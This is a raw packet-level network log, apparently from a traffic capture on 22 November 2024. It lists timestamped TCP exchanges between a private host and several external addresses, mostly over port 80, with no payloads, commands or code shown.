Nov 22, 2024 17:09:00.288259029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.288271904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.288305998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.288800955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.288855076 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.288866043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.288892031 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.288923025 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.289750099 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.289793015 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.289824009 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.289835930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.289870024 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.290631056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.290673971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.290685892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.290716887 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.290730000 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.291529894 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.291595936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.291604996 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.291606903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.291635036 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.292494059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.292536974 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.292541027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.292551994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.292573929 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.292591095 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.293381929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.293409109 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.293422937 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.293435097 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.293457985 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.294337034 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.294399023 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.294405937 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.294416904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.294450998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.295205116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.295257092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.295268059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.295272112 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.295285940 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.295588970 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.296133041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.296194077 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.296205997 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.296217918 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.296252012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.297065973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.297110081 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.297127008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.297141075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.297179937 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.298171043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.298233032 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.298243999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.298286915 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.298304081 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.298943043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.299017906 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.299029112 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.299063921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.299096107 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.299834013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.299845934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.299858093 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.299885035 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.299901009 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.300792933 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.300833941 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.300838947 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.300844908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.300868988 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.300880909 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.301628113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.301701069 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.301718950 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.301732063 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.301804066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.301846027 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.302572012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.302625895 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.302645922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.302656889 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.302691936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.303472996 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.303519964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.303527117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.303533077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.303569078 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.304387093 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.304452896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.304464102 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.304495096 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.304524899 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.305310965 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.305354118 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.305614948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.305663109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.305690050 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.305701971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.305740118 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.306579113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.306633949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.306665897 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.306677103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.306699991 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.306711912 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.307509899 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.307564020 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.307600975 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.307612896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.307662964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.307662964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.308490038 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.308548927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.308583021 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.308593988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.308641911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.309298038 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.309359074 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.309372902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.309387922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.309408903 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.309422016 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.310239077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.310286999 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.310311079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.310323000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.310359001 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.310369015 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.311224937 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.311376095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.311388016 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.311424017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.311454058 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.312216043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.312258959 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.312263012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.312271118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.312308073 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.312974930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.313040018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.313041925 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.313052893 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.313091040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.313870907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.313925982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.313927889 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.313936949 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.313957930 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.313983917 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.314834118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.314876080 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.314892054 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.314904928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.314930916 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.314960003 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.316302061 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.316313028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.316327095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.316351891 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.316369057 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.316669941 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.316715956 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.316715956 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.316726923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.316747904 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.316771984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.317559958 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.317574024 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.317584991 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.317605019 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.317622900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.339889050 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.339916945 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.340002060 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.340002060 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.340010881 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.340172052 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.387806892 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.387816906 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.387882948 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.387906075 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.388576984 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.392152071 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.392174006 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.392230988 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.392256975 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.392282009 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.392302036 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.407783985 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.407804012 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.407866001 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.407880068 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.407928944 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.483640909 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.483661890 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.483740091 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.483767986 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.483804941 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.490628958 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.490708113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.490719080 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.490761042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.490808010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.491023064 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.491110086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.491163969 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.491233110 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.491607904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.491643906 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.491656065 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.491662025 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.491676092 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.491694927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.492512941 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.492568016 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.492599964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.492611885 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.492652893 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.493426085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.493490934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.493501902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.493535042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.493565083 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.494359016 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.494378090 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.494389057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.494402885 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.494432926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.495495081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.495546103 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.495582104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.495594978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.495634079 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.495932102 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.495960951 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.496033907 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.496053934 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.496104002 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.496303082 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.496354103 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.496367931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.496380091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.496398926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.496416092 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.497121096 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.497183084 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.497186899 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.497199059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.497231007 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.498007059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.498061895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.498064995 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.498074055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.498105049 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.499025106 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.499073029 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.499089003 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.499102116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.499126911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.499136925 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.499878883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.499913931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.499923944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.499932051 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.499942064 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.500052929 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.500787020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.500807047 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.500818014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.500845909 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.500874043 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.501699924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.501754045 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.501890898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.501909971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.501940012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.501966953 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.502604008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.502640009 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.502651930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.502660036 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.502671957 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.502691031 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.503513098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.503556013 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.503576994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.503587961 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.503623009 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.504412889 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.504471064 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.504478931 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.504487038 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.504506111 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.504589081 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.505342960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.505362988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.505373955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.505403042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.505428076 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.505676985 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.505742073 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.505757093 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.505774021 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.505795956 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.505800009 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.505842924 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.506280899 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.506311893 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.506323099 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.506330013 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.506356955 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.507175922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.507196903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.507208109 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.507246017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.508130074 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.508173943 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.508194923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.508207083 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.508244038 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.508657932 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.508682013 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.509030104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.509087086 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.509099007 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.509156942 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.509949923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.510000944 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.510014057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.510063887 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.510104895 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.510860920 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.510901928 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.511152983 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.511192083 CET	49747	80	192.168.2.10	185.215.113.206
